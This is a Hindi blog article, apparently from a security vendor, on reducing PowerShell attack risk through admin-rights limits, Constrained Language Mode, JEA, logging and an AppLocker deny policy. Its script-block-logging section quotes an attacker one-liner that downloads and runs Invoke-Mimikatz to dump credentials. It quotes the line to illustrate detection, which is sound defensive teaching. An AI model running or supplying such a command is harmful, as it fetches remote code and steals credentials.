- Get link
- X
- Other Apps
एक पुरानी कहावत है: "एक व्यक्ति का औज़ार दूसरे व्यक्ति का हथियार होता है।" यह निश्चित रूप से Windows PowerShell के बारे में सच है। आज प्रत्येक विंडोज ऑपरेटिंग सिस्टम में शामिल, इस शक्तिशाली कमांड-लाइन शेल और स्क्रिप्टिंग भाषा का उपयोग आईटी पेशेवरों द्वारा सिस्टम प्रशासन, रिमोट प्रबंधन, साइबर सुरक्षा, सॉफ्टवेयर विकास और बहुत कुछ के लिए किया जाता है।
दूसरी ओर, इसका उपयोग धमकी देने वाले अभिनेताओं द्वारा मैलवेयर डिलीवरी, रैंसमवेयर परिनियोजन और डेटा घुसपैठ जैसे दुर्भावनापूर्ण कार्यों को पूरा करने में मदद करने के लिए किया जाता है। यह आलेख बताता है कि पावरशेल हमलावरों के लिए इतना उपयोगी क्यों है और आपके आईटी वातावरण की सुरक्षा के लिए मूल्यवान रणनीतियाँ प्रदान करता है।
पॉवरशेल इतना लोकप्रिय आक्रमण मंच क्यों है?
तो इतने सारे साइबर अपराधी अपने हमले शुरू करने के लिए PowerShell का उपयोग क्यों कर रहे हैं? खैर एक बात के लिए, यह मुफ़्त है। अन्य कारणों में निम्नलिखित शामिल हैं:
- अधिकांश व्यावसायिक उपयोगकर्ताओं के पास अपने विंडोज़ एंडपॉइंट डिवाइस पर पावरशेल सक्षम है।
- पॉवरशेल एक फ़ाइल रहित दृष्टिकोण का उपयोग करता है जो कमांड और स्क्रिप्ट को सीधे मेमोरी में निष्पादित करता है, जिससे इसका पता लगाना कठिन हो जाता है।
- यह रिमोट कनेक्शन शुरू करके लगभग किसी भी विंडोज डिवाइस तक पहुंच सकता है।
- ख़तरा अभिनेता एम्पायर , डेथस्टार और क्रैकमैपएक्सईसी जैसे अन्य दुर्भावनापूर्ण टूल का उपयोग करके पावरशेल का लाभ उठा सकते हैं ।
- हमलावरों के उपयोग के लिए GitHub और अन्य स्थानों (जैसे Invoke-Mimikatz ) पर बहुत सारी स्क्रिप्ट उपलब्ध हैं।
एक बार जब कोई हमलावर ऑन-प्रिमाइसेस वातावरण में प्रारंभिक पहुंच प्राप्त कर लेता है, तो वे आपके नेटवर्क में दृश्यता प्राप्त करने के लिए पावरशेल का उपयोग कर सकते हैं और आपके सबसे संवेदनशील डेटा और अन्य आईटी संसाधनों तक पहुंचने के लिए आगे बढ़ सकते हैं।
पॉवरशेल से जोखिम कैसे कम करें
चूँकि PowerShell का उपयोग कई अलग-अलग प्रकार के हमलों में किया जाता है, इसलिए इसके दुर्भावनापूर्ण उपयोग से निपटने के लिए सुरक्षा उपायों को लागू करना अनिवार्य है। आइए PowerShell प्रेरित खतरों के जोखिम को कम करने के कुछ तरीकों पर नज़र डालें।
स्थानीय व्यवस्थापक विशेषाधिकार प्रतिबंधित करें
ज़ीरो ट्रस्ट नेटवर्क के युग में , मानक उपयोगकर्ताओं के पास अपने डिवाइस पर स्थानीय व्यवस्थापक अधिकार नहीं होने चाहिए, जब तक कि यह उनके काम के लिए आवश्यक न हो। हालांकि स्थानीय व्यवस्थापक अधिकारों को अस्वीकार करने से PowerShell तक पहुंच प्रतिबंधित नहीं होती है, यह एक उपयोगकर्ता - या एक प्रतिद्वंद्वी जिसने अपने खाते से समझौता किया है - PowerShell के साथ क्या कर सकता है, उसे सीमित करता है क्योंकि कई PowerShell कमांड और स्क्रिप्ट को काम करने के लिए उन्नत विशेषाधिकारों की आवश्यकता होती है। इसके अलावा, स्थानीय व्यवस्थापक अधिकारों को अस्वीकार करने से उपयोगकर्ता की संवेदनशील फ़ोल्डरों और सिस्टम सेटिंग्स तक पहुंच प्रतिबंधित हो जाएगी।
प्रतिबंधित भाषा मोड का प्रयोग करें
Windows PowerShell विभिन्न भाषा मोड का समर्थन करता है जो यह निर्धारित करता है कि PowerShell के किन हिस्सों का उपयोग किया जा सकता है। कॉन्स्ट्रेंड लैंग्वेज मोड को विंडोज आरटी ऑपरेटिंग सिस्टम के लिए विकसित किया गया था और बाद में इसे विंडोज पॉवरशेल V5 में जोड़ा गया, जिसका उपयोग आज सभी आधुनिक विंडोज ऑपरेटिंग सिस्टम पर किया जाता है।
आप PowerShell सत्र को पूर्ण भाषा मोड में प्रारंभ कर सकते हैं, जैसा कि नीचे दिखाया गया है:

आप निम्न आदेश के साथ पावरशेल सत्र को प्रतिबंधित भाषा मोड में रख सकते हैं:

प्रतिबंधित भाषा मोड में, पावरशेल कमांड और स्क्रिप्ट के सीमित सेट तक ही सीमित है। इन प्रतिबंधों के बाहर कमांड निष्पादन अवरुद्ध है, जैसा कि नीचे दिए गए उदाहरण में दिखाया गया है:

प्रतिबंधित भाषा मोड कुछ पावरशेल सुविधाओं तक पहुंच को भी प्रतिबंधित करता है जैसे कि पावरशेल प्रोफाइल का उपयोग और अतिरिक्त पावरशेल मॉड्यूल लोड करने की क्षमता। सामूहिक रूप से, ये प्रतिबंध हैकर्स को सिस्टम सुरक्षा उपायों को बायपास करने के लिए PowerShell का उपयोग करने से रोकने में मदद करते हैं।
दुर्भाग्य से, इस सुरक्षात्मक उपाय के साथ एक स्पष्ट कमजोरी है: एक उपयोगकर्ता बस एक नया पावरशेल सत्र शुरू कर सकता है, जो डिफ़ॉल्ट रूप से पूर्ण भाषा मोड में चलेगा और पावरशेल सुविधाओं तक पूर्ण पहुंच होगी।
पॉवरशेल जस्ट इनफ एडमिनिस्ट्रेशन (जेईए) का उपयोग करें
पॉवरशेल जस्ट इनफ एडमिनिस्ट्रेशन आपको प्रशासनिक कार्यों के लिए भूमिका-आधारित प्रणाली लागू करने की अनुमति देता है। जेईए को पावरशेल के लिए न्यूनतम विशेषाधिकार सुरक्षा के सिद्धांत के रूप में सोचें। जब कोई उपयोगकर्ता जेईए सत्र शुरू करता है, तो उन्हें पावरशेल का एक प्रतिबंधित रूप आवंटित किया जाता है जो उन्हें केवल उनकी भूमिका से जुड़े कार्यों और आदेशों को निष्पादित करने की अनुमति देता है। यह उन्हें उन विशेषाधिकार प्राप्त आदेशों को निष्पादित करने से रोकता है जिनकी उन्हें आवश्यकता नहीं है।
JEA को सक्षम करना एक बहु-चरणीय प्रक्रिया है। पहला कदम एक भूमिका संगतता फ़ाइल बनाना है, जैसा कि नीचे दिखाया गया है:

फिर आपको .prsc फ़ाइल को संपादित करने और भूमिका की विशिष्ट क्षमताओं को परिभाषित करने की आवश्यकता है, जैसे कि उपयोगकर्ता द्वारा विशिष्ट आदेशों को निष्पादित करने की अनुमति देना। अन्य चरणों में एक सत्र कॉन्फ़िगरेशन फ़ाइल बनाना और फिर स्थानीय कंप्यूटर पर एक नया JEA एंडपॉइंट पंजीकृत करने के लिए उस फ़ाइल का उपयोग करना शामिल है।
गतिविधि में दृश्यता प्राप्त करें
आपको यह जानना होगा कि आपके आईटी वातावरण में क्या हो रहा है। एक विकल्प विंडोज़ इवेंट फ़ॉरवर्डिंग (डब्ल्यूईएफ) का उपयोग करना है, जो विंडोज़ ऑपरेटिंग सिस्टम में एक मुफ़्त टूल है जो वितरित सिस्टम से इवेंट लॉग एकत्र और केंद्रीकृत कर सकता है। एक तृतीय-पक्ष दृष्टिकोण एक सुरक्षा सूचना और इवेंट प्रबंधन (SIEM) समाधान होगा । एसआईईएम अलग-अलग प्रणालियों के विस्तृत संग्रह से डेटा एकत्र कर सकते हैं और उस डेटा को एकत्रित करके आपके वातावरण में क्या हो रहा है, इसकी व्यापक जानकारी प्रदान कर सकते हैं।
आपको पॉवरशेल सिस्टम-वाइड ट्रांस्क्रिप्ट को भी सक्षम करना चाहिए, जो निर्दिष्ट सिस्टम पर सभी पॉवरशेल गतिविधि को लॉग करेगा ताकि निष्पादित कमांड की समीक्षा की जा सके। यह ऑडिटिंग और फोरेंसिक जांच के लिए सहायक हो सकता है। पावरशेल सिस्टम-वाइड ट्रांस्क्रिप्ट को सक्षम करने के लिए, एक ग्रुप पॉलिसी ऑब्जेक्ट (जीपीओ) बनाएं, कंप्यूटर कॉन्फ़िगरेशन > एडमिनिस्ट्रेटिव टेम्प्लेट्स > विंडोज कंपोनेंट्स > पावरशेल पर जाएं और नीचे दिखाए अनुसार पावरशेल ट्रांस्क्रिप्शन सक्षम करें को चालू करें:

PowerShell और स्क्रिप्ट को अक्षम करने के लिए AppLocker का उपयोग करें
ऐपलॉकर विंडोज 10 एंटरप्राइज के साथ आता है और एप्लिकेशन और स्क्रिप्ट को अनुमति देने का एक उपयोगी तरीका प्रदान करता है। इसे या तो स्थानीय रूप से सिस्टम पर या समूह नीति के माध्यम से कॉन्फ़िगर किया जा सकता है। समूह नीति का उपयोग करने के लिए, एक GPO बनाएं, कंप्यूटर कॉन्फ़िगरेशन > Windows सेटिंग्स > सुरक्षा सेटिंग्स > एप्लिकेशन नियंत्रण नीतियां > AppLocker पर जाएं। एक निष्पादन योग्य नियम बनाएं और नीचे दिखाए अनुसार अस्वीकार करें चुनें:

आप प्रकाशक, फ़ाइल पथ या फ़ाइल हैश द्वारा एप्लिकेशन को ब्लॉक कर सकते हैं। नीचे दी गई उदाहरण नीति फ़ाइल हैश द्वारा ब्लॉक करती है और केवल स्थानीय व्यवस्थापकों को PowerShell चलाने की अनुमति देती है; किसी अन्य उपयोगकर्ता की पहुंच अवरुद्ध कर दी जाएगी.

फिर आप ग्रुप पॉलिसी का उपयोग करके पॉलिसी वितरित कर सकते हैं या इसे XML फ़ाइल के रूप में निर्यात कर सकते हैं और इसे Intune जैसे MDM में आयात कर सकते हैं। निर्यातित नीति के लिए XML कोड नीचे दिखाया गया है:
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />
</FileHashCondition>
</Conditions>
</FileHashRule>
</RuleCollection>
<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
<RuleCollection Type="Script" EnforcementMode="NotConfigured" />
<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>
आप यह भी सुनिश्चित कर सकते हैं कि निर्दिष्ट फ़ोल्डर से केवल फ़ाइलों को स्क्रिप्ट नियम नीतियों का उपयोग करके निष्पादित किया जा सकता है ताकि एक सरल पावरशेल स्क्रिप्ट का उपयोग करके किसी निर्दिष्ट फ़ोल्डर के लिए अनुमति नियम बनाया जा सके:

स्क्रिप्ट ब्लॉक लॉगिंग के साथ दुर्भावनापूर्ण पावरशेल का पता लगाएं
PowerShell 5 दुर्भावनापूर्ण PowerShell स्क्रिप्ट को ट्रैक करने के लिए कई नई तकनीकों का परिचय देता है। उनमें से एक है स्क्रिप्ट ब्लॉक लॉगिंग। लॉगिंग का यह स्तर PowerShell 5 के साथ डिफ़ॉल्ट रूप से चालू है और PowerShell द्वारा निष्पादित पूर्ण स्क्रिप्ट की स्पष्ट-पाठ लॉगिंग प्रदान करता है। यह उपयोगी है क्योंकि कई पावरशेल हमले एन्कोडेड स्क्रिप्ट का लाभ उठाते हैं जिन्हें समझना मुश्किल होता है।
आइए एक तरह से देखें कि एक हमलावर निम्नलिखित स्क्रिप्ट का उपयोग करके अपनी स्क्रिप्ट को छिपाने का प्रयास कर सकता है जो Invoke- Mimikatz को डाउनलोड और चलाएगा :
powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

पॉवरस्प्लोइट और आउट-एनकोडेडकमांड का उपयोग करके, एक प्रतिद्वंद्वी इस कमांड का एक एन्कोडेड संस्करण बना सकता है जो और भी अधिक अस्पष्ट है:

हालाँकि, PowerShell ईवेंट लॉग अभी भी वही दिखाते हैं जो बिना किसी एन्कोडिंग के चलाया गया था:

नेटवर्किक्स कैसे मदद कर सकता है
जबकि संगठन दुर्भावनापूर्ण स्क्रिप्ट की निगरानी और सुरक्षा के लिए इन शमन और पहचान रणनीतियों का उपयोग कर सकते हैं, ऐसे तृतीय-पक्ष उत्पाद हैं जो काम को सरल बनाते हैं। एंडपॉइंट्स के लिए नेटवर्क्स प्रिविलेज सिक्योर उपयोगकर्ताओं को पावरशेल सहित अवांछित एप्लिकेशन चलाने से स्वचालित रूप से ब्लॉक करने के लिए अनुमति और अस्वीकृत सूचियां बनाना आसान बनाता है। साथ ही, यह टूल आपको स्थानीय व्यवस्थापक अधिकारों को हटाने में सक्षम बनाता है और साथ ही उपयोगकर्ताओं को उच्च उत्पादकता के लिए आवश्यक प्रशासनिक कार्य करने में भी सक्षम बनाता है।
पॉवरशेल एक शक्तिशाली उपकरण है. सुनिश्चित करें कि आप यह सुनिश्चित करने के लिए उचित सावधानी बरतें कि विरोधी आपके विरुद्ध इसका उपयोग इतनी आसानी से न कर सकें।
- Get link
- X
- Other Apps
Comments
Post a Comment